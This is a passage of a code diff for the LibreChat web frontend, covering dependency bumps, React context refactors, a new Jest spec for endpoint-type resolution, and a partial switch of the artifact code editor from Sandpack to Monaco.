coverageReporters: ['text', 'cobertura', 'lcov'],
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@librechat/frontend",
|
"name": "@librechat/frontend",
|
||||||
"version": "v0.8.3-rc2",
|
"version": "v0.8.3",
|
||||||
"description": "",
|
"description": "",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
|
|
@ -38,6 +38,7 @@
|
||||||
"@librechat/client": "*",
|
"@librechat/client": "*",
|
||||||
"@marsidev/react-turnstile": "^1.1.0",
|
"@marsidev/react-turnstile": "^1.1.0",
|
||||||
"@mcp-ui/client": "^5.7.0",
|
"@mcp-ui/client": "^5.7.0",
|
||||||
|
"@monaco-editor/react": "^4.7.0",
|
||||||
"@radix-ui/react-accordion": "^1.1.2",
|
"@radix-ui/react-accordion": "^1.1.2",
|
||||||
"@radix-ui/react-alert-dialog": "1.0.2",
|
"@radix-ui/react-alert-dialog": "1.0.2",
|
||||||
"@radix-ui/react-checkbox": "^1.0.3",
|
"@radix-ui/react-checkbox": "^1.0.3",
|
||||||
|
|
@ -80,7 +81,7 @@
|
||||||
"lodash": "^4.17.23",
|
"lodash": "^4.17.23",
|
||||||
"lucide-react": "^0.394.0",
|
"lucide-react": "^0.394.0",
|
||||||
"match-sorter": "^8.1.0",
|
"match-sorter": "^8.1.0",
|
||||||
"mermaid": "^11.12.3",
|
"mermaid": "^11.13.0",
|
||||||
"micromark-extension-llm-math": "^3.1.0",
|
"micromark-extension-llm-math": "^3.1.0",
|
||||||
"qrcode.react": "^4.2.0",
|
"qrcode.react": "^4.2.0",
|
||||||
"rc-input-number": "^7.4.2",
|
"rc-input-number": "^7.4.2",
|
||||||
|
|
@ -93,7 +94,6 @@
|
||||||
"react-gtm-module": "^2.0.11",
|
"react-gtm-module": "^2.0.11",
|
||||||
"react-hook-form": "^7.43.9",
|
"react-hook-form": "^7.43.9",
|
||||||
"react-i18next": "^15.4.0",
|
"react-i18next": "^15.4.0",
|
||||||
"react-lazy-load-image-component": "^1.6.0",
|
|
||||||
"react-markdown": "^9.0.1",
|
"react-markdown": "^9.0.1",
|
||||||
"react-resizable-panels": "^3.0.6",
|
"react-resizable-panels": "^3.0.6",
|
||||||
"react-router-dom": "^6.30.3",
|
"react-router-dom": "^6.30.3",
|
||||||
|
|
@ -122,6 +122,7 @@
|
||||||
"@babel/preset-env": "^7.22.15",
|
"@babel/preset-env": "^7.22.15",
|
||||||
"@babel/preset-react": "^7.22.15",
|
"@babel/preset-react": "^7.22.15",
|
||||||
"@babel/preset-typescript": "^7.22.15",
|
"@babel/preset-typescript": "^7.22.15",
|
||||||
|
"@happy-dom/jest-environment": "^20.8.3",
|
||||||
"@tanstack/react-query-devtools": "^4.29.0",
|
"@tanstack/react-query-devtools": "^4.29.0",
|
||||||
"@testing-library/dom": "^9.3.0",
|
"@testing-library/dom": "^9.3.0",
|
||||||
"@testing-library/jest-dom": "^5.16.5",
|
"@testing-library/jest-dom": "^5.16.5",
|
||||||
|
|
@ -144,9 +145,10 @@
|
||||||
"identity-obj-proxy": "^3.0.0",
|
"identity-obj-proxy": "^3.0.0",
|
||||||
"jest": "^30.2.0",
|
"jest": "^30.2.0",
|
||||||
"jest-canvas-mock": "^2.5.2",
|
"jest-canvas-mock": "^2.5.2",
|
||||||
"jest-environment-jsdom": "^29.7.0",
|
"jest-environment-jsdom": "^30.2.0",
|
||||||
"jest-file-loader": "^1.0.3",
|
"jest-file-loader": "^1.0.3",
|
||||||
"jest-junit": "^16.0.0",
|
"jest-junit": "^16.0.0",
|
||||||
|
"monaco-editor": "^0.55.1",
|
||||||
"postcss": "^8.4.31",
|
"postcss": "^8.4.31",
|
||||||
"postcss-preset-env": "^11.2.0",
|
"postcss-preset-env": "^11.2.0",
|
||||||
"tailwindcss": "^3.4.1",
|
"tailwindcss": "^3.4.1",
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,8 @@
|
||||||
import React, { createContext, useContext, useMemo } from 'react';
|
import React, { createContext, useContext, useMemo } from 'react';
|
||||||
|
import { useRecoilValue } from 'recoil';
|
||||||
import type { TMessage } from 'librechat-data-provider';
|
import type { TMessage } from 'librechat-data-provider';
|
||||||
import { useChatContext } from './ChatContext';
|
|
||||||
import { getLatestText } from '~/utils';
|
import { getLatestText } from '~/utils';
|
||||||
|
import store from '~/store';
|
||||||
|
|
||||||
export interface ArtifactsContextValue {
|
export interface ArtifactsContextValue {
|
||||||
isSubmitting: boolean;
|
isSubmitting: boolean;
|
||||||
|
|
@ -18,27 +19,28 @@ interface ArtifactsProviderProps {
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
|
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
|
||||||
const { isSubmitting, latestMessage, conversation } = useChatContext();
|
const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
|
||||||
|
const latestMessage = useRecoilValue(store.latestMessageFamily(0));
|
||||||
|
const conversationId = useRecoilValue(store.conversationIdByIndex(0));
|
||||||
|
|
||||||
const chatLatestMessageText = useMemo(() => {
|
const chatLatestMessageText = useMemo(() => {
|
||||||
return getLatestText({
|
return getLatestText({
|
||||||
messageId: latestMessage?.messageId ?? null,
|
|
||||||
text: latestMessage?.text ?? null,
|
text: latestMessage?.text ?? null,
|
||||||
content: latestMessage?.content ?? null,
|
content: latestMessage?.content ?? null,
|
||||||
|
messageId: latestMessage?.messageId ?? null,
|
||||||
} as TMessage);
|
} as TMessage);
|
||||||
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
|
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
|
||||||
|
|
||||||
const defaultContextValue = useMemo<ArtifactsContextValue>(
|
const defaultContextValue = useMemo<ArtifactsContextValue>(
|
||||||
() => ({
|
() => ({
|
||||||
isSubmitting,
|
isSubmitting,
|
||||||
|
conversationId: conversationId ?? null,
|
||||||
latestMessageText: chatLatestMessageText,
|
latestMessageText: chatLatestMessageText,
|
||||||
latestMessageId: latestMessage?.messageId ?? null,
|
latestMessageId: latestMessage?.messageId ?? null,
|
||||||
conversationId: conversation?.conversationId ?? null,
|
|
||||||
}),
|
}),
|
||||||
[isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId],
|
[isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
|
||||||
);
|
);
|
||||||
|
|
||||||
/** Context value only created when relevant values change */
|
|
||||||
const contextValue = useMemo<ArtifactsContextValue>(
|
const contextValue = useMemo<ArtifactsContextValue>(
|
||||||
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
|
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
|
||||||
[defaultContextValue, value],
|
[defaultContextValue, value],
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
import React, { createContext, useContext, useMemo } from 'react';
|
import React, { createContext, useContext, useMemo } from 'react';
|
||||||
import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider';
|
import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
|
||||||
import type { EModelEndpoint } from 'librechat-data-provider';
|
import type { EModelEndpoint } from 'librechat-data-provider';
|
||||||
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
|
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
|
||||||
import { useAgentsMapContext } from './AgentsMapContext';
|
import { useAgentsMapContext } from './AgentsMapContext';
|
||||||
|
|
@ -9,7 +9,7 @@ interface DragDropContextValue {
|
||||||
conversationId: string | null | undefined;
|
conversationId: string | null | undefined;
|
||||||
agentId: string | null | undefined;
|
agentId: string | null | undefined;
|
||||||
endpoint: string | null | undefined;
|
endpoint: string | null | undefined;
|
||||||
endpointType?: EModelEndpoint | undefined;
|
endpointType?: EModelEndpoint | string | undefined;
|
||||||
useResponsesApi?: boolean;
|
useResponsesApi?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
|
||||||
const { data: endpointsConfig } = useGetEndpointsQuery();
|
const { data: endpointsConfig } = useGetEndpointsQuery();
|
||||||
const agentsMap = useAgentsMapContext();
|
const agentsMap = useAgentsMapContext();
|
||||||
|
|
||||||
const endpointType = useMemo(() => {
|
|
||||||
return (
|
|
||||||
getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
|
|
||||||
(conversation?.endpoint as EModelEndpoint | undefined)
|
|
||||||
);
|
|
||||||
}, [conversation?.endpoint, endpointsConfig]);
|
|
||||||
|
|
||||||
const needsAgentFetch = useMemo(() => {
|
const needsAgentFetch = useMemo(() => {
|
||||||
const isAgents = isAgentsEndpoint(conversation?.endpoint);
|
const isAgents = isAgentsEndpoint(conversation?.endpoint);
|
||||||
if (!isAgents || !conversation?.agent_id) {
|
if (!isAgents || !conversation?.agent_id) {
|
||||||
|
|
@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
|
||||||
enabled: needsAgentFetch,
|
enabled: needsAgentFetch,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const agentProvider = useMemo(() => {
|
||||||
|
const isAgents = isAgentsEndpoint(conversation?.endpoint);
|
||||||
|
if (!isAgents || !conversation?.agent_id) {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
const agent = agentData || agentsMap?.[conversation.agent_id];
|
||||||
|
return agent?.provider;
|
||||||
|
}, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
|
||||||
|
|
||||||
|
const endpointType = useMemo(
|
||||||
|
() => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
|
||||||
|
[endpointsConfig, conversation?.endpoint, agentProvider],
|
||||||
|
);
|
||||||
|
|
||||||
const useResponsesApi = useMemo(() => {
|
const useResponsesApi = useMemo(() => {
|
||||||
const isAgents = isAgentsEndpoint(conversation?.endpoint);
|
const isAgents = isAgentsEndpoint(conversation?.endpoint);
|
||||||
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
|
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
|
||||||
|
|
|
||||||
|
|
@ -18,7 +18,8 @@ interface MessagesViewContextValue {
|
||||||
|
|
||||||
/** Message state management */
|
/** Message state management */
|
||||||
index: ReturnType<typeof useChatContext>['index'];
|
index: ReturnType<typeof useChatContext>['index'];
|
||||||
latestMessage: ReturnType<typeof useChatContext>['latestMessage'];
|
latestMessageId: ReturnType<typeof useChatContext>['latestMessageId'];
|
||||||
|
latestMessageDepth: ReturnType<typeof useChatContext>['latestMessageDepth'];
|
||||||
setLatestMessage: ReturnType<typeof useChatContext>['setLatestMessage'];
|
setLatestMessage: ReturnType<typeof useChatContext>['setLatestMessage'];
|
||||||
getMessages: ReturnType<typeof useChatContext>['getMessages'];
|
getMessages: ReturnType<typeof useChatContext>['getMessages'];
|
||||||
setMessages: ReturnType<typeof useChatContext>['setMessages'];
|
setMessages: ReturnType<typeof useChatContext>['setMessages'];
|
||||||
|
|
@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
|
||||||
regenerate,
|
regenerate,
|
||||||
isSubmitting,
|
isSubmitting,
|
||||||
conversation,
|
conversation,
|
||||||
latestMessage,
|
latestMessageId,
|
||||||
|
latestMessageDepth,
|
||||||
setAbortScroll,
|
setAbortScroll,
|
||||||
handleContinue,
|
handleContinue,
|
||||||
setLatestMessage,
|
setLatestMessage,
|
||||||
|
|
@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
|
||||||
const messageState = useMemo(
|
const messageState = useMemo(
|
||||||
() => ({
|
() => ({
|
||||||
index,
|
index,
|
||||||
latestMessage,
|
latestMessageId,
|
||||||
|
latestMessageDepth,
|
||||||
setLatestMessage,
|
setLatestMessage,
|
||||||
}),
|
}),
|
||||||
[index, latestMessage, setLatestMessage],
|
[index, latestMessageId, latestMessageDepth, setLatestMessage],
|
||||||
);
|
);
|
||||||
|
|
||||||
/** Combine all values into final context value */
|
/** Combine all values into final context value */
|
||||||
|
|
@ -139,9 +142,9 @@ export function useMessagesOperations() {
|
||||||
|
|
||||||
/** Hook for components that only need message state */
|
/** Hook for components that only need message state */
|
||||||
export function useMessagesState() {
|
export function useMessagesState() {
|
||||||
const { index, latestMessage, setLatestMessage } = useMessagesViewContext();
|
const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
|
||||||
return useMemo(
|
return useMemo(
|
||||||
() => ({ index, latestMessage, setLatestMessage }),
|
() => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
|
||||||
[index, latestMessage, setLatestMessage],
|
[index, latestMessageId, latestMessageDepth, setLatestMessage],
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
134
client/src/Providers/__tests__/DragDropContext.spec.tsx
Normal file
134
client/src/Providers/__tests__/DragDropContext.spec.tsx
Normal file
|
|
@ -0,0 +1,134 @@
|
||||||
|
import React from 'react';
|
||||||
|
import { renderHook } from '@testing-library/react';
|
||||||
|
import { EModelEndpoint } from 'librechat-data-provider';
|
||||||
|
import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
|
||||||
|
import { DragDropProvider, useDragDropContext } from '../DragDropContext';
|
||||||
|
|
||||||
|
const mockEndpointsConfig: TEndpointsConfig = {
|
||||||
|
[EModelEndpoint.openAI]: { userProvide: false, order: 0 },
|
||||||
|
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
|
||||||
|
[EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
|
||||||
|
Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
||||||
|
'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
||||||
|
};
|
||||||
|
|
||||||
|
let mockConversation: Record<string, unknown> | null = null;
|
||||||
|
let mockAgentsMap: Record<string, Partial<Agent>> = {};
|
||||||
|
let mockAgentQueryData: Partial<Agent> | undefined;
|
||||||
|
|
||||||
|
jest.mock('~/data-provider', () => ({
|
||||||
|
useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
|
||||||
|
useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('../AgentsMapContext', () => ({
|
||||||
|
useAgentsMapContext: () => mockAgentsMap,
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('../ChatContext', () => ({
|
||||||
|
useChatContext: () => ({ conversation: mockConversation }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
function wrapper({ children }: { children: React.ReactNode }) {
|
||||||
|
return <DragDropProvider>{children}</DragDropProvider>;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('DragDropContext endpointType resolution', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
mockConversation = null;
|
||||||
|
mockAgentsMap = {};
|
||||||
|
mockAgentQueryData = undefined;
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('non-agents endpoints', () => {
|
||||||
|
it('resolves custom endpoint type for a custom endpoint', () => {
|
||||||
|
mockConversation = { endpoint: 'Moonshot' };
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resolves endpoint name for a standard endpoint', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.openAI };
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('agents endpoint with provider from agentsMap', () => {
|
||||||
|
it('resolves to custom for agent with Moonshot provider', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resolves to custom for agent with custom provider with spaces', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resolves to openAI for agent with openAI provider', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resolves to anthropic for agent with anthropic provider', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('agents endpoint with provider from agentData query', () => {
|
||||||
|
it('uses agentData when agent is not in agentsMap', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
|
||||||
|
mockAgentsMap = {};
|
||||||
|
mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('agents endpoint without provider', () => {
|
||||||
|
it('falls back to agents when no agent_id', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents };
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.agents);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to agents when agent has no provider', () => {
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial<Agent> };
|
||||||
|
const { result } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
expect(result.current.endpointType).toBe(EModelEndpoint.agents);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('consistency: same endpoint type whether used directly or through agents', () => {
|
||||||
|
it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
|
||||||
|
mockConversation = { endpoint: 'Moonshot' };
|
||||||
|
const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
|
||||||
|
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
|
||||||
|
|
||||||
|
expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC<LiveAnnouncerProps> = ({ children }) => {
|
||||||
|
|
||||||
const announceAssertive = announcePolite;
|
const announceAssertive = announcePolite;
|
||||||
|
|
||||||
const contextValue = {
|
const contextValue = useMemo(
|
||||||
announcePolite,
|
() => ({
|
||||||
announceAssertive,
|
announcePolite,
|
||||||
};
|
announceAssertive,
|
||||||
|
}),
|
||||||
|
[announcePolite, announceAssertive],
|
||||||
|
);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
return () => {
|
return () => {
|
||||||
|
|
|
||||||
|
|
@ -1,206 +1,326 @@
|
||||||
import React, { useMemo, useState, useEffect, useRef, memo } from 'react';
|
import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
|
||||||
import debounce from 'lodash/debounce';
|
import debounce from 'lodash/debounce';
|
||||||
import { KeyBinding } from '@codemirror/view';
|
import MonacoEditor from '@monaco-editor/react';
|
||||||
import { autocompletion, completionKeymap } from '@codemirror/autocomplete';
|
import type { Monaco } from '@monaco-editor/react';
|
||||||
import {
|
import type { editor } from 'monaco-editor';
|
||||||
useSandpack,
|
import type { Artifact } from '~/common';
|
||||||
SandpackCodeEditor,
|
|
||||||
SandpackProvider as StyledProvider,
|
|
||||||
} from '@codesandbox/sandpack-react';
|
|
||||||
import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
|
|
||||||
import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
|
|
||||||
import type { CodeEditorRef } from '@codesandbox/sandpack-react';
|
|
||||||
import type { ArtifactFiles, Artifact } from '~/common';
|
|
||||||
import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
|
|
||||||
import { useMutationState, useCodeState } from '~/Providers/EditorContext';
|
import { useMutationState, useCodeState } from '~/Providers/EditorContext';
|
||||||
import { useArtifactsContext } from '~/Providers';
|
import { useArtifactsContext } from '~/Providers';
|
||||||
import { sharedFiles, sharedOptions } from '~/utils/artifacts';
|
import { useEditArtifact } from '~/data-provider';
|
||||||
|
|
||||||
const CodeEditor = memo(
|
const LANG_MAP: Record<string, string> = {
|
||||||
({
|
javascript: 'javascript',
|
||||||
fileKey,
|
typescript: 'typescript',
|
||||||
readOnly,
|
python: 'python',
|
||||||
artifact,
|
css: 'css',
|
||||||
editorRef,
|
json: 'json',
|
||||||
}: {
|
markdown: 'markdown',
|
||||||
fileKey: string;
|
html: 'html',
|
||||||
readOnly?: boolean;
|
xml: 'xml',
|
||||||
artifact: Artifact;
|
sql: 'sql',
|
||||||
editorRef: React.MutableRefObject<CodeEditorRef>;
|
yaml: 'yaml',
|
||||||
}) => {
|
shell: 'shell',
|
||||||
const { sandpack } = useSandpack();
|
bash: 'shell',
|
||||||
const [currentUpdate, setCurrentUpdate] = useState<string | null>(null);
|
tsx: 'typescript',
|
||||||
const { isMutating, setIsMutating } = useMutationState();
|
jsx: 'javascript',
|
||||||
const { setCurrentCode } = useCodeState();
|
c: 'c',
|
||||||
const editArtifact = useEditArtifact({
|
cpp: 'cpp',
|
||||||
onMutate: (vars) => {
|
java: 'java',
|
||||||
setIsMutating(true);
|
go: 'go',
|
||||||
setCurrentUpdate(vars.updated);
|
rust: 'rust',
|
||||||
},
|
kotlin: 'kotlin',
|
||||||
onSuccess: () => {
|
swift: 'swift',
|
||||||
setIsMutating(false);
|
php: 'php',
|
||||||
setCurrentUpdate(null);
|
ruby: 'ruby',
|
||||||
},
|
r: 'r',
|
||||||
onError: () => {
|
lua: 'lua',
|
||||||
setIsMutating(false);
|
scala: 'scala',
|
||||||
},
|
perl: 'perl',
|
||||||
});
|
};
|
||||||
|
|
||||||
/**
|
const TYPE_MAP: Record<string, string> = {
|
||||||
* Create stable debounced mutation that doesn't depend on changing callbacks
|
'text/html': 'html',
|
||||||
* Use refs to always access the latest values without recreating the debounce
|
'application/vnd.code-html': 'html',
|
||||||
*/
|
'application/vnd.react': 'typescript',
|
||||||
const artifactRef = useRef(artifact);
|
'application/vnd.ant.react': 'typescript',
|
||||||
const isMutatingRef = useRef(isMutating);
|
'text/markdown': 'markdown',
|
||||||
const currentUpdateRef = useRef(currentUpdate);
|
'text/md': 'markdown',
|
||||||
const editArtifactRef = useRef(editArtifact);
|
'text/plain': 'plaintext',
|
||||||
const setCurrentCodeRef = useRef(setCurrentCode);
|
'application/vnd.mermaid': 'markdown',
|
||||||
|
};
|
||||||
|
|
||||||
useEffect(() => {
|
function getMonacoLanguage(type?: string, language?: string): string {
|
||||||
artifactRef.current = artifact;
|
if (language && LANG_MAP[language]) {
|
||||||
}, [artifact]);
|
return LANG_MAP[language];
|
||||||
|
}
|
||||||
|
return TYPE_MAP[type ?? ''] ?? 'plaintext';
|
||||||
|
}
|
||||||
|
|
||||||
useEffect(() => {
|
export const ArtifactCodeEditor = function ArtifactCodeEditor({
|
||||||
isMutatingRef.current = isMutating;
|
|
||||||
}, [isMutating]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
currentUpdateRef.current = currentUpdate;
|
|
||||||
}, [currentUpdate]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
editArtifactRef.current = editArtifact;
|
|
||||||
}, [editArtifact]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
setCurrentCodeRef.current = setCurrentCode;
|
|
||||||
}, [setCurrentCode]);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Create debounced mutation once - never recreate it
|
|
||||||
* All values are accessed via refs so they're always current
|
|
||||||
*/
|
|
||||||
const debouncedMutation = useMemo(
|
|
||||||
() =>
|
|
||||||
debounce((code: string) => {
|
|
||||||
if (readOnly) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (isMutatingRef.current) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (artifactRef.current.index == null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const artifact = artifactRef.current;
|
|
||||||
const artifactIndex = artifact.index;
|
|
||||||
const isNotOriginal =
|
|
||||||
code && artifact.content != null && code.trim() !== artifact.content.trim();
|
|
||||||
const isNotRepeated =
|
|
||||||
currentUpdateRef.current == null
|
|
||||||
? true
|
|
||||||
: code != null && code.trim() !== currentUpdateRef.current.trim();
|
|
||||||
|
|
||||||
if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
|
|
||||||
setCurrentCodeRef.current(code);
|
|
||||||
editArtifactRef.current.mutate({
|
|
||||||
index: artifactIndex,
|
|
||||||
messageId: artifact.messageId ?? '',
|
|
||||||
original: artifact.content,
|
|
||||||
updated: code,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}, 500),
|
|
||||||
[readOnly],
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Listen to Sandpack file changes and trigger debounced mutation
|
|
||||||
*/
|
|
||||||
useEffect(() => {
|
|
||||||
const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
|
|
||||||
if (currentCode) {
|
|
||||||
debouncedMutation(currentCode);
|
|
||||||
}
|
|
||||||
}, [sandpack.files, fileKey, debouncedMutation]);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Cleanup: cancel pending mutations when component unmounts or artifact changes
|
|
||||||
*/
|
|
||||||
useEffect(() => {
|
|
||||||
return () => {
|
|
||||||
debouncedMutation.cancel();
|
|
||||||
};
|
|
||||||
}, [artifact.id, debouncedMutation]);
|
|
||||||
|
|
||||||
return (
|
|
||||||
<SandpackCodeEditor
|
|
||||||
ref={editorRef}
|
|
||||||
showTabs={false}
|
|
||||||
showRunButton={false}
|
|
||||||
showLineNumbers={true}
|
|
||||||
showInlineErrors={true}
|
|
||||||
readOnly={readOnly === true}
|
|
||||||
extensions={[autocompletion()]}
|
|
||||||
extensionsKeymap={Array.from<KeyBinding>(completionKeymap)}
|
|
||||||
className="hljs language-javascript bg-black"
|
|
||||||
/>
|
|
||||||
);
|
|
||||||
},
|
|
||||||
);
|
|
||||||
|
|
||||||
export const ArtifactCodeEditor = function ({
|
|
||||||
files,
|
|
||||||
fileKey,
|
|
||||||
template,
|
|
||||||
artifact,
|
artifact,
|
||||||
editorRef,
|
monacoRef,
|
||||||
sharedProps,
|
|
||||||
readOnly: externalReadOnly,
|
readOnly: externalReadOnly,
|
||||||
}: {
|
}: {
|
||||||
fileKey: string;
|
|
||||||
artifact: Artifact;
|
artifact: Artifact;
|
||||||
files: ArtifactFiles;
|
monacoRef: React.MutableRefObject<editor.IStandaloneCodeEditor | null>;
|
||||||
template: SandpackProviderProps['template'];
|
|
||||||
sharedProps: Partial<SandpackProviderProps>;
|
|
||||||
editorRef: React.MutableRefObject<CodeEditorRef>;
|
|
||||||
readOnly?: boolean;
|
readOnly?: boolean;
|
||||||
}) {
|
}) {
|
||||||
const { data: config } = useGetStartupConfig();
|
|
||||||
const { isSubmitting } = useArtifactsContext();
|
const { isSubmitting } = useArtifactsContext();
|
||||||
const options: typeof sharedOptions = useMemo(() => {
|
const readOnly = (externalReadOnly ?? false) || isSubmitting;
|
||||||
if (!config) {
|
const { setCurrentCode } = useCodeState();
|
||||||
return sharedOptions;
|
const [currentUpdate, setCurrentUpdate] = useState<string | null>(null);
|
||||||
}
|
const { isMutating, setIsMutating } = useMutationState();
|
||||||
return {
|
const editArtifact = useEditArtifact({
|
||||||
...sharedOptions,
|
onMutate: (vars) => {
|
||||||
activeFile: '/' + fileKey,
|
setIsMutating(true);
|
||||||
bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL,
|
setCurrentUpdate(vars.updated);
|
||||||
};
|
},
|
||||||
}, [config, template, fileKey]);
|
onSuccess: () => {
|
||||||
const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false);
|
setIsMutating(false);
|
||||||
